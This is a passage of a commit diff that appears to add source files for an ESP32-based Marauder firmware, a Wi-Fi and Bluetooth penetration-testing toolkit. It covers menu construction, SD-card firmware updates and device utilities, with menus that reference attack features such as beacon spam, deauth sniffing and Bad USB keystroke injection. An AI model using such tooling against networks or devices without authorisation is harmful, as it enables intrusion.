+        if (new_ap.selected) {
+          this->buttonSelected(i + 1);
+          //changeMenu(current_menu);
+        } else {
+          this->buttonNotSelected(i + 1);
+          //changeMenu(current_menu);
+        }
+        access_points->set(i, new_ap);
+        //changeMenu(wifiAPMenu.parentMenu);
+        }, access_points->get(i).selected);
+      }
+      changeMenu(&wifiAPMenu);
+    });
+
+    wifiAPMenu.parentMenu = &wifiGeneralMenu;
+    addNodes(&wifiAPMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+      changeMenu(wifiAPMenu.parentMenu);
+    });
+  #endif
+
+  // Build shutdown wifi menu
+  shutdownWiFiMenu.parentMenu = &wifiGeneralMenu;
+  addNodes(&shutdownWiFiMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(shutdownWiFiMenu.parentMenu);
+  });
+
+  // Build generate ssids menu
+  generateSSIDsMenu.parentMenu = &wifiGeneralMenu;
+  addNodes(&generateSSIDsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(generateSSIDsMenu.parentMenu);
+  });
+
+  // Build clear ssids menu
+  clearSSIDsMenu.parentMenu = &wifiGeneralMenu;
+  addNodes(&clearSSIDsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(clearSSIDsMenu.parentMenu);
+  });
+  clearAPsMenu.parentMenu = &wifiGeneralMenu;
+  addNodes(&clearAPsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(clearAPsMenu.parentMenu);
+  });
+
+
+  // Build Bluetooth Menu
+  bluetoothMenu.parentMenu = &mainMenu; // Second Menu is third menu parent
+  addNodes(&bluetoothMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(bluetoothMenu.parentMenu);
+  });
+  addNodes(&bluetoothMenu, text_table1[31], TFT_YELLOW, NULL, SNIFFERS, [this]() {
+    changeMenu(&bluetoothSnifferMenu);
+  });
+  //addNodes(&bluetoothMenu, "Scanners", TFT_ORANGE, NULL, SCANNERS, [this]() {
+  //  changeMenu(&bluetoothScannerMenu);
+  //});
+  addNodes(&bluetoothMenu, text_table1[33], TFT_PURPLE, NULL, GENERAL_APPS, [this]() {
+    changeMenu(&bluetoothGeneralMenu);
+  });
+
+  // Build bluetooth sniffer Menu
+  bluetoothSnifferMenu.parentMenu = &bluetoothMenu; // Second Menu is third menu parent
+  addNodes(&bluetoothSnifferMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(bluetoothSnifferMenu.parentMenu);
+  });
+  addNodes(&bluetoothSnifferMenu, text_table1[34], TFT_GREEN, NULL, BLUETOOTH_SNIFF, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
+  });
+  addNodes(&bluetoothSnifferMenu, text_table1[35], TFT_MAGENTA, NULL, CC_SKIMMERS, [this]() {
+    display_obj.clearScreen();
+    this->drawStatusBar();
+    wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
+  });
+
+  // Build bluetooth scanner Menu
+  //bluetoothScannerMenu.parentMenu = &bluetoothMenu; // Second Menu is third menu parent
+  //addNodes(&bluetoothScannerMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+  //  changeMenu(bluetoothScannerMenu.parentMenu);
+  //});
+
+  // Build bluetooth general menu
+  bluetoothGeneralMenu.parentMenu = &bluetoothMenu;
+  addNodes(&bluetoothGeneralMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(bluetoothGeneralMenu.parentMenu);
+  });
+  addNodes(&bluetoothGeneralMenu, text_table1[26], TFT_ORANGE, NULL, SHUTDOWN, [this]() {
+    changeMenu(&shutdownBLEMenu);
+    wifi_scan_obj.RunShutdownBLE();
+  });
+
+  // Build shutdown BLE menu
+  shutdownBLEMenu.parentMenu = &bluetoothGeneralMenu;
+  addNodes(&shutdownBLEMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(shutdownBLEMenu.parentMenu);
+  });
+
+  // Bad USB Menu
+  badusbMenu.parentMenu = &mainMenu;
+  addNodes(&badusbMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(badusbMenu.parentMenu);
+  });
+  addNodes(&badusbMenu, text_table1[36], TFT_PURPLE, NULL, TEST_BAD_USB_ICO, [this]() {
+    a32u4_obj.test();
+  });
+  #ifndef MARAUDER_MINI
+    addNodes(&badusbMenu, text_table1[37], TFT_RED, NULL, BAD_USB_ICO, [this](){
+      display_obj.clearScreen(); 
+      wifi_scan_obj.currentScanMode = LV_ADD_SSID; 
+      wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED); 
+      writeBadUSB();
+    });
+  #endif
+
+  // General apps menu
+  generalMenu.parentMenu = &mainMenu;
+  addNodes(&generalMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    display_obj.draw_tft = false;
+    changeMenu(generalMenu.parentMenu);
+  });
+  addNodes(&generalMenu, text_table1[38], TFT_WHITE, NULL, DRAW, [this]() {
+    display_obj.clearScreen();
+    display_obj.setupDraw();
+    display_obj.draw_tft = true;
+  });
+
+  // Device menu
+  deviceMenu.parentMenu = &mainMenu;
+  addNodes(&deviceMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(deviceMenu.parentMenu);
+  });
+  //addNodes(&deviceMenu, "Update Firmware", TFT_ORANGE, NULL, UPDATE, [this](){wifi_scan_obj.currentScanMode = OTA_UPDATE; changeMenu(&updateMenu); web_obj.setupOTAupdate();});
+  addNodes(&deviceMenu, text_table1[15], TFT_ORANGE, NULL, UPDATE, [this]() {
+    wifi_scan_obj.currentScanMode = OTA_UPDATE;
+    changeMenu(&whichUpdateMenu);
+  });
+
+  addNodes(&deviceMenu, text_table1[16], TFT_GREEN, NULL, LANGUAGE, [this]() {
+
+    wifi_scan_obj.currentScanMode = SHOW_INFO;
+   changeMenu(&languageMenu);   
+  });
+  addNodes(&deviceMenu, text_table1[17], TFT_WHITE, NULL, DEVICE_INFO, [this]() {
+    wifi_scan_obj.currentScanMode = SHOW_INFO;
+    changeMenu(&infoMenu);
+    wifi_scan_obj.RunInfo();
+  });
+  addNodes(&deviceMenu, text08, TFT_NAVY, NULL, KEYBOARD_ICO, [this]() {
+    changeMenu(&settingsMenu);
+  });
+  /*addNodes(&deviceMenu, text08, TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
+    display_obj.clearScreen(); 
+    wifi_scan_obj.currentScanMode = LV_ADD_SSID; 
+    wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);  
+    displaySettingsGFX();
+  });*/
+
+  // Settings menu
+  // Device menu
+  settingsMenu.parentMenu = &deviceMenu;
+  addNodes(&settingsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(settingsMenu.parentMenu);
+  });
+  for (int i = 0; i < settings_obj.getNumberSettings(); i++) {
+    if (this->callSetting(settings_obj.setting_index_to_name(i)) == "bool")
+      addNodes(&settingsMenu, settings_obj.setting_index_to_name(i), TFT_LIGHTGREY, NULL, 0, [this, i]() {
+      settings_obj.toggleSetting(settings_obj.setting_index_to_name(i));
+      changeMenu(&specSettingMenu);
+      //this->callSetting(settings_obj.setting_index_to_name(i));
+      this->displaySetting(settings_obj.setting_index_to_name(i), &settingsMenu, i + 1);
+    }, settings_obj.loadSetting<bool>(settings_obj.setting_index_to_name(i)));
+  }
+
+  // Specific setting menu
+  specSettingMenu.parentMenu = &settingsMenu;
+  addNodes(&specSettingMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(specSettingMenu.parentMenu);
+  });
+ 
+  // Select update
+  whichUpdateMenu.parentMenu = &deviceMenu;
+  addNodes(&whichUpdateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+    changeMenu(whichUpdateMenu.parentMenu);
+  });
+  addNodes(&whichUpdateMenu, text_table1[39], TFT_GREEN, NULL, WEB_UPDATE, [this]() {
+    wifi_scan_obj.currentScanMode = OTA_UPDATE;
+    changeMenu(&updateMenu);
+    web_obj.setupOTAupdate();
+  });
+  if (sd_obj.supported) addNodes(&whichUpdateMenu, text_table1[40], TFT_MAGENTA, NULL, SD_UPDATE, [this]() {
+    wifi_scan_obj.currentScanMode = OTA_UPDATE;
+    changeMenu(&confirmMenu);
+  });
+  addNodes(&whichUpdateMenu, text_table1[41], TFT_RED, NULL, ESP_UPDATE_ICO, [this]() {
+    wifi_scan_obj.currentScanMode = ESP_UPDATE;
+    changeMenu(&espUpdateMenu);
+    esp_obj.RunUpdate();
+  });
+
+  // ESP Update Menu
+  espUpdateMenu.parentMenu = &whichUpdateMenu;
+  addNodes(&espUpdateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+    esp_obj.bootRunMode();
+    changeMenu(espUpdateMenu.parentMenu);
+  });
+
+  // Confirm SD update menu
+  confirmMenu.parentMenu = &whichUpdateMenu;
+  addNodes(&confirmMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    changeMenu(confirmMenu.parentMenu);
+  });
+  //addNodes(&confirmMenu, "Yes", TFT_ORANGE, NULL, UPDATE, [this](){wifi_scan_obj.currentScanMode = OTA_UPDATE; changeMenu(&updateMenu); sd_obj.runUpdate();});
+  addNodes(&confirmMenu, text14, TFT_ORANGE, NULL, UPDATE, [this]() {
+    wifi_scan_obj.currentScanMode = OTA_UPDATE;
+    changeMenu(&failedUpdateMenu);
+    sd_obj.runUpdate();
+  });
+
+  // Web Update
+  updateMenu.parentMenu = &deviceMenu;
+  addNodes(&updateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+    changeMenu(updateMenu.parentMenu);
+    WiFi.softAPdisconnect(true);
+    web_obj.shutdownServer();
+  });
+  //addNodes(&updateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this](){wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF; changeMenu(updateMenu.parentMenu);});
+
+  // Failed update menu
+  failedUpdateMenu.parentMenu = &whichUpdateMenu;
+  addNodes(&failedUpdateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+    changeMenu(failedUpdateMenu.parentMenu);
+  });
+
+  // Device info menu
+  infoMenu.parentMenu = &deviceMenu;
+  addNodes(&infoMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+    wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+    changeMenu(infoMenu.parentMenu);
+  });
+  //language info menu
+  languageMenu.parentMenu = &deviceMenu;
+    addNodes(&languageMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+      wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+      changeMenu(infoMenu.parentMenu);
+    });
+  // Set the current menu to the mainMenu
+  changeMenu(&mainMenu);
+
+  this->initTime = millis();
+}
+
+// Function to change menu
+void MenuFunctions::changeMenu(Menu * menu)
+{
+  display_obj.initScrollValues();
+  display_obj.setupScrollArea(TOP_FIXED_AREA, BOT_FIXED_AREA);
+  display_obj.tft.init();
+  current_menu = menu;
+
+  buildButtons(menu);
+
+  displayCurrentMenu();
+}
+
+// Function to show all MenuNodes in a Menu
+void MenuFunctions::showMenuList(Menu * menu, int layer)
+{
+  // Iterate through all of the menu nodes in the menu
+  for (uint8_t i = 0; i < menu->list->size(); i++)
+  {
+    // Depending on layer, indent
+    for (uint8_t x = 0; x < layer * 4; x++)
+      Serial.print(" ");
+    Serial.print("Node: ");
+    Serial.println(menu->list->get(i).name);
+  }
+  Serial.println();
+}
+
+
+// Function to add MenuNodes to a menu
+void MenuFunctions::addNodes(Menu * menu, String name, uint16_t color, Menu * child, int place, std::function<void()> callable, bool selected, String command)
+{
+  TFT_eSPI_Button new_button;
+  menu->list->add(MenuNode{name, command, color, place, &new_button, selected, callable});
+  //menu->list->add(MenuNode{name, color, place, callable});
+}
+
+void MenuFunctions::buildButtons(Menu * menu, int starting_index)
+{
+  //Serial.println("Bulding buttons...");
+  if (menu->list != NULL)
+  {
+    //for (int i = 0; i < sizeof(key); i++)
+    //  key[i] = NULL;
+    for (uint8_t i = 0; i < menu->list->size(); i++)
+    {
+      TFT_eSPI_Button new_button;
+      char buf[menu->list->get(starting_index + i).name.length() + 1] = {};
+      menu->list->get(starting_index + i).name.toCharArray(buf, menu->list->get(starting_index + i).name.length() + 1);
+      display_obj.key[i].initButton(&display_obj.tft,
+                                    KEY_X + 0 * (KEY_W + KEY_SPACING_X),
+                                    KEY_Y + i * (KEY_H + KEY_SPACING_Y), // x, y, w, h, outline, fill, text
+                                    KEY_W,
+                                    KEY_H,
+                                    TFT_BLACK, // Outline
+                                    TFT_BLACK, // Fill
+                                    menu->list->get(starting_index + i).color, // Text
+                                    buf,
+                                    KEY_TEXTSIZE);
+
+      display_obj.key[i].setLabelDatum(BUTTON_PADDING - (KEY_W / 2), 2, ML_DATUM);
+    }
+  }
+}
+
+
+void MenuFunctions::displayCurrentMenu()
+{
+  //Serial.println(F("Displaying current menu..."));
+  display_obj.clearScreen();
+  display_obj.tft.setTextColor(TFT_LIGHTGREY, TFT_DARKGREY);
+  this->drawStatusBar();
+
+  if (current_menu->list != NULL)
+  {
+    #ifndef MARAUDER_MINI
+      display_obj.tft.setFreeFont(MENU_FONT);
+    #endif
+
+    #ifdef MARAUDER_MINI
+      display_obj.tft.setFreeFont(NULL);
+      display_obj.tft.setTextSize(1);
+    #endif
+    for (uint8_t i = 0; i < current_menu->list->size(); i++)
+    {
+      #ifndef MARAUDER_MINI
+        if (!current_menu->list->get(i).selected)
+          display_obj.key[i].drawButton(false, current_menu->list->get(i).name);
+        else
+          display_obj.key[i].drawButton(true, current_menu->list->get(i).name);
+        
+        if (current_menu->list->get(i).name != text09)
+          display_obj.tft.drawXBitmap(0,
+                                      KEY_Y + i * (KEY_H + KEY_SPACING_Y) - (ICON_H / 2),
+                                      menu_icons[current_menu->list->get(i).icon],
+                                      ICON_W,
+                                      ICON_H,
+                                      TFT_BLACK,
+                                      current_menu->list->get(i).color);
+
+      #endif
+
+      #ifdef MARAUDER_MINI
+        if ((current_menu->selected == i) || (current_menu->list->get(i).selected))
+          display_obj.key[i].drawButton(true, current_menu->list->get(i).name);
+        else 
+          display_obj.key[i].drawButton(false, current_menu->list->get(i).name);
+      #endif
+    }
+    display_obj.tft.setFreeFont(NULL);
+  }
+}
+
+#endif

+ 224 - 0
esp32cam_marauder/MenuFunctions.h

@@ -0,0 +1,224 @@
+#ifndef MenuFunctions_h
+#define MenuFunctions_h
+
+#include "configs.h"
+
+#ifdef HAS_SCREEN
+
+#define BATTERY_ANALOG_ON 0
+
+#include "WiFiScan.h"
+#include "Display.h"
+#include "BatteryInterface.h"
+#include "SDInterface.h"
+#include "Web.h"
+#include "esp_interface.h"
+#include "a32u4_interface.h"
+#include "settings.h"
+
+#ifdef MARAUDER_MINI
+  #include <SwitchLib.h>
+  extern SwitchLib u_btn;
+  extern SwitchLib d_btn;
+  extern SwitchLib l_btn;
+  extern SwitchLib r_btn;
+  extern SwitchLib c_btn;
+#endif
+
+extern Display display_obj;
+extern WiFiScan wifi_scan_obj;
+extern Web web_obj;
+extern SDInterface sd_obj;
+extern BatteryInterface battery_obj;
+extern EspInterface esp_obj;
+extern A32u4Interface a32u4_obj;
+extern Settings settings_obj;
+
+#define FLASH_BUTTON 0
+
+#if BATTERY_ANALOG_ON == 1
+#define BATTERY_PIN 13
+#define ANALOG_PIN 34
+#define CHARGING_PIN 27
+#endif
+
+// Icon definitions
+#define ATTACKS 0
+#define BEACON_SNIFF 1
+#define BLUETOOTH 2
+#define BLUETOOTH_SNIFF 3
+#define DEAUTH_SNIFF 4
+#define DRAW 5
+#define PACKET_MONITOR 6
+#define PROBE_SNIFF 7
+#define SCANNERS 8
+#define CC_SKIMMERS 9
+#define SNIFFERS 10
+#define WIFI 11
+#define BEACON_SPAM 12
+#define RICK_ROLL 13
+#define REBOOT 14
+#define GENERAL_APPS 15
+#define UPDATE 16
+#define DEVICE 17
+#define DEVICE_INFO 18
+#define SD_UPDATE 19
+#define WEB_UPDATE 20
+#define EAPOL 21
+#define STATUS_BAT 22
+#define STATUS_SD 23
+#define PWNAGOTCHI 24
+#define ESPRESSIF 25
+#define SHUTDOWN 26
+#define BEACON_LIST 27
+#define GENERATE 28
+#define CLEAR_ICO 29
+#define KEYBOARD_ICO 30
+#define JOIN_WIFI 31
+#define ESP_UPDATE_ICO 32
+#define BAD_USB_ICO 33
+#define TEST_BAD_USB_ICO 34
+#define LANGUAGE 35
+
+PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
+PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
+
+PROGMEM static lv_disp_buf_t disp_buf;
+PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
+
+PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
+PROGMEM static void join_wifi_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
+PROGMEM static void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
+PROGMEM static void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
+PROGMEM static void load_btn_cb(lv_obj_t * load_btn, lv_event_t event);
+PROGMEM static void test_btn_cb(lv_obj_t * load_btn, lv_event_t event);
+PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
+PROGMEM static void station_list_cb(lv_obj_t * btn, lv_event_t event);
+PROGMEM static void setting_dropdown_cb(lv_obj_t * btn, lv_event_t event);
+PROGMEM static void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
+
+// lvgl stuff
+PROGMEM static lv_obj_t *kb;
+PROGMEM static lv_obj_t * save_as_kb;
+
+struct Menu;
+
+// Individual Nodes of a menu
+
+struct MenuNode {
+  String name;
+  String command;
+  uint16_t color;
+  int icon;
+  TFT_eSPI_Button* button;
+  bool selected;
+  std::function<void()> callable;
+};
+
+// Full Menus
+struct Menu {
+  String name;
+  LinkedList<MenuNode>* list;
+  Menu                * parentMenu;
+  uint8_t               selected = 0;
+};
+
+
+class MenuFunctions
+{
+  private:
+
+    String u_result = "";
+
+    uint32_t initTime = 0;
+
+    //Menu* current_menu;
+
+    // Main menu stuff
+    Menu mainMenu;
+
+    Menu wifiMenu;
+    Menu bluetoothMenu;
+    Menu badusbMenu;
+    Menu generalMenu;
+    Menu deviceMenu;
+
+    // Device menu stuff
+    Menu whichUpdateMenu;
+    Menu failedUpdateMenu;
+    Menu confirmMenu;
+    Menu espUpdateMenu;
+    Menu updateMenu;
+    Menu settingsMenu;
+    Menu specSettingMenu;
+    Menu infoMenu;
+    Menu languageMenu;
+
+    // WiFi menu stuff
+    Menu wifiSnifferMenu;
+    Menu wifiAttackMenu;
+    Menu wifiGeneralMenu;
+    Menu wifiAPMenu;
+
+    // Bluetooth menu stuff
+    Menu bluetoothSnifferMenu;
+    Menu bluetoothGeneralMenu;
+
+    // Settings things menus
+    Menu shutdownWiFiMenu;
+    Menu shutdownBLEMenu;
+    Menu generateSSIDsMenu;
+
+    static void lv_tick_handler();
+
+    // Menu icons
+
+
+    //TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
+
+    void addNodes(Menu* menu, String name, uint16_t color, Menu* child, int place, std::function<void()> callable, bool selected = false, String command = "");
+    void updateStatusBar();
+    void battery(bool initial = false);
+    void battery2(bool initial = false);
+    void showMenuList(Menu* menu, int layer);
+    String callSetting(String key);
+    void runBoolSetting(String ley);
+    void displaySetting(String key, Menu* menu, int index);
+    void buttonSelected(uint8_t b);
+    void buttonNotSelected(uint8_t b);
+
+  public:
+    MenuFunctions();
+
+    Menu* current_menu;
+    Menu clearSSIDsMenu;
+    Menu clearAPsMenu;
+
+    Ticker tick;
+
+    uint16_t x = -1, y = -1;
+    boolean pressed = false;
+
+    String loaded_file = "";
+
+    void initLVGL();
+    void deinitLVGL();
+    void joinWiFiGFX();
+    void addSSIDGFX();
+    void addAPGFX();
+    void addStationGFX();
+    void displaySettingsGFX();
+    void writeBadUSB();
+
+    void buildButtons(Menu* menu, int starting_index = 0);
+    void changeMenu(Menu* menu);
+    void drawStatusBar();
+    void displayCurrentMenu();
+    void main(uint32_t currentTime);
+    void RunSetup();
+    void orientDisplay();
+};
+
+
+#endif
+#endif

+ 233 - 0
esp32cam_marauder/SDInterface.cpp

@@ -0,0 +1,233 @@
+#include "SDInterface.h"
+#include "lang_var.h"
+
+bool SDInterface::initSD() {
+  String display_string = "";
+
+  /*#ifdef KIT
+    pinMode(SD_DET, INPUT);
+    if (digitalRead(SD_DET) == LOW) {
+      Serial.println(F("SD Card Detect Pin Detected"));
+    }
+    else {
+      Serial.println(F("SD Card Detect Pin Not Detected"));
+      this->supported = false;
+      return false;
+    }
+  #endif
+
+  pinMode(SD_CS, OUTPUT);
+
+  delay(10);*/
+
+  if (!SD_MMC.begin("/sdcard", true, false, SDMMC_FREQ_DEFAULT)) {
+    Serial.println(F("Failed to mount SD Card"));
+    this->supported = false;
+    return false;
+  }
+  uint8_t cardType = SD_MMC.cardType();
+  if (cardType == CARD_NONE) {
+    Serial.println("No MicroSD Card found");
+    this->supported = false;
+    return false;
+  } else {
+    this->supported = true;
+    this->cardType = cardType;
+    //if (cardType == CARD_MMC)
+    //  Serial.println(F("SD: MMC Mounted"));
+    //else if(cardType == CARD_SD)
+    //    Serial.println(F("SD: SDSC Mounted"));
+    //else if(cardType == CARD_SDHC)
+    //    Serial.println(F("SD: SDHC Mounted"));
+    //else
+    //    Serial.println(F("SD: UNKNOWN Card Mounted"));
+
+    this->cardSizeMB = SD_MMC.cardSize() / (1024 * 1024);
+
+    //Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
+
+    if (this->supported) {
+      const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
+
+      char sz[NUM_DIGITS + 1];
+
+      sz[NUM_DIGITS] = 0;
+      for (size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10) {
+        sz[i] = '0' + (this->cardSizeMB % 10);
+        display_string.concat((String)sz[i]);
+      }
+
+      this->card_sz = sz;
+    }
+
+    buffer_obj = Buffer();
+
+    if (!SD_MMC.exists("/SCRIPTS")) {
+      Serial.println("/SCRIPTS does not exist. Creating...");
+
+      SD_MMC.mkdir("/SCRIPTS");
+      Serial.println("/SCRIPTS created");
+    }
+
+    return true;
+  }
+}
+
+void SDInterface::addPacket(uint8_t* buf, uint32_t len) {
+  if ((this->supported) && (this->do_save)) {
+    buffer_obj.addPacket(buf, len);
+  }
+}
+
+void SDInterface::openCapture(String file_name) {
+  if (this->supported)
+    buffer_obj.open(&SD_MMC, file_name);
+}
+
+void SDInterface::runUpdate() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_WHITE);
+  
+    display_obj.tft.println(F(text15));
+  #endif
+  File updateBin = SD_MMC.open("/update.bin");
+  if (updateBin) {
+    if(updateBin.isDirectory()){
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_RED);
+        display_obj.tft.println(F(text_table2[0]));
+      #endif
+      Serial.println(F("Error, could not find \"update.bin\""));
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_WHITE);
+      #endif
+      updateBin.close();
+      return;
+    }
+
+    size_t updateSize = updateBin.size();
+
+    if (updateSize > 0) {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(F(text_table2[1]));
+      #endif
+      Serial.println(F("Starting update over SD. Please wait..."));
+      this->performUpdate(updateBin, updateSize);
+    }
+    else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_RED);
+        display_obj.tft.println(F(text_table2[2]));
+      #endif
+      Serial.println(F("Error, file is empty"));
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_WHITE);
+      #endif
+      return;
+    }
+
+    updateBin.close();
+    
+      // whe finished remove the binary from sd card to indicate end of the process
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(F(text_table2[3]));
+    #endif
+    Serial.println(F("rebooting..."));
+    //SD.remove("/update.bin");      
+    delay(1000);
+    ESP.restart();
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_RED);
+      display_obj.tft.println(F(text_table2[4]));
+    #endif
+    Serial.println(F("Could not load update.bin from sd root"));
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_WHITE);
+    #endif
+  }
+}
+
+void SDInterface::performUpdate(Stream& updateSource, size_t updateSize) {
+  if (Update.begin(updateSize)) {   
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table2[5] + String(updateSize));
+      display_obj.tft.println(F(text_table2[6]));
+    #endif
+    size_t written = Update.writeStream(updateSource);
+    if (written == updateSize) {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table2[7] + String(written) + text_table2[10]);
+      #endif
+      Serial.println("Written : " + String(written) + " successfully");
+    }
+    else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table2[8] + String(written) + "/" + String(updateSize) + text_table2[9]);
+      #endif
+      Serial.println("Written only : " + String(written) + "/" + String(updateSize) + ". Retry?");
+    }
+    if (Update.end()) {
+      Serial.println("OTA done!");
+      if (Update.isFinished()) {
+        #ifdef HAS_SCREEN
+          display_obj.tft.println(F(text_table2[11]));
+        #endif
+        Serial.println(F("Update successfully completed. Rebooting."));
+      }
+      else {
+        #ifdef HAS_SCREEN
+          display_obj.tft.setTextColor(TFT_RED);
+          display_obj.tft.println(text_table2[12]);
+        #endif
+        Serial.println("Update not finished? Something went wrong!");
+        #ifdef HAS_SCREEN
+          display_obj.tft.setTextColor(TFT_WHITE);
+        #endif
+      }
+    }
+    else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table2[13] + String(Update.getError()));
+      #endif
+      Serial.println("Error Occurred. Error #: " + String(Update.getError()));
+    }
+
+  }
+  else
+  {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table2[14]);
+    #endif
+    Serial.println("Not enough space to begin OTA");
+  }
+}
+
+bool SDInterface::checkDetectPin() {
+  /* #ifdef KIT
+    if (digitalRead(SD_DET) == LOW)
+      return true;
+    else
+      return false;
+  #endif*/
+
+  return false;
+}
+
+void SDInterface::main() {
+  if ((this->supported) && (this->do_save)) {
+    //Serial.println("Saving packet...");
+    buffer_obj.forceSave(&SD_MMC);
+  }
+  else if (!this->supported) {
+    if (checkDetectPin()) {
+      delay(100);
+      this->initSD();
+    }
+  }
+}

+ 50 - 0
esp32cam_marauder/SDInterface.h

@@ -0,0 +1,50 @@
+#ifndef SDInterface_h
+#define SDInterface_h
+
+#include "configs.h"
+
+//#include "SD.h"
+#include "FS.h"                // SD Card ESP32
+#include "SD_MMC.h"            // SD Card ESP32
+#include "Buffer.h"
+#ifdef HAS_SCREEN
+  #include "Display.h"
+#endif
+#include <Update.h>
+
+extern Buffer buffer_obj;
+#ifdef HAS_SCREEN
+  extern Display display_obj;
+#endif
+
+#ifdef KIT
+  #define SD_DET 4
+#endif
+
+class SDInterface {
+
+  private:
+    bool checkDetectPin();
+
+  public:
+    uint8_t cardType;
+    //uint64_t cardSizeBT;
+    //uint64_t cardSizeKB;
+    uint64_t cardSizeMB;
+    //uint64_t cardSizeGB;
+    bool supported = false;
+    bool do_save = true;
+
+    String card_sz;
+  
+    bool initSD();
+
+    void addPacket(uint8_t* buf, uint32_t len);
+    void openCapture(String file_name = "");
+    void runUpdate();
+    void performUpdate(Stream &updateSource, size_t updateSize);
+    void main();
+    //void savePacket(uint8_t* buf, uint32_t len);
+};
+
+#endif

+ 36 - 0
esp32cam_marauder/TemperatureInterface.cpp

@@ -0,0 +1,36 @@
+#include "TemperatureInterface.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+uint8_t temprature_sens_read();
+#ifdef __cplusplus
+}
+#endif
+uint8_t temprature_sens_read();
+
+TemperatureInterface::TemperatureInterface() {
+  
+}
+
+void TemperatureInterface::RunSetup() {
+  this->initTime = millis();
+  this->current_temp = this->getCurrentTemp();
+}
+
+uint8_t TemperatureInterface::getCurrentTemp() {
+  #ifndef MARAUDER_FLIPPER
+    return ((temprature_sens_read() - 32) / 1.8);
+  #endif
+    return 0;
+}
+
+void TemperatureInterface::main(uint32_t currentTime) {
+  if (currentTime != 0) {
+    if (currentTime - initTime >= 100) {
+      //Serial.println("Checking Battery Level");
+      this->initTime = millis();
+      this->current_temp = this->getCurrentTemp();
+    }
+  }
+}

+ 24 - 0
esp32cam_marauder/TemperatureInterface.h

@@ -0,0 +1,24 @@
+#ifndef TemperatureInterface_h
+#define TemperatureInterface_h
+
+#include "configs.h"
+
+#include <Arduino.h>
+
+class TemperatureInterface {
+
+  private:
+    uint32_t initTime = 0;
+    
+  public:
+    TemperatureInterface();
+
+    uint8_t current_temp = 0;
+    uint8_t old_temp = 0;
+
+    uint8_t getCurrentTemp();
+    void RunSetup();
+    void main(uint32_t currentTime);
+};
+
+#endif

+ 178 - 0
esp32cam_marauder/Web.cpp

@@ -0,0 +1,178 @@
+#include "Web.h"
+#include "lang_var.h"
+
+WebServer server(80);
+
+Web::Web()
+{
+  
+}
+
+void Web::main()
+{
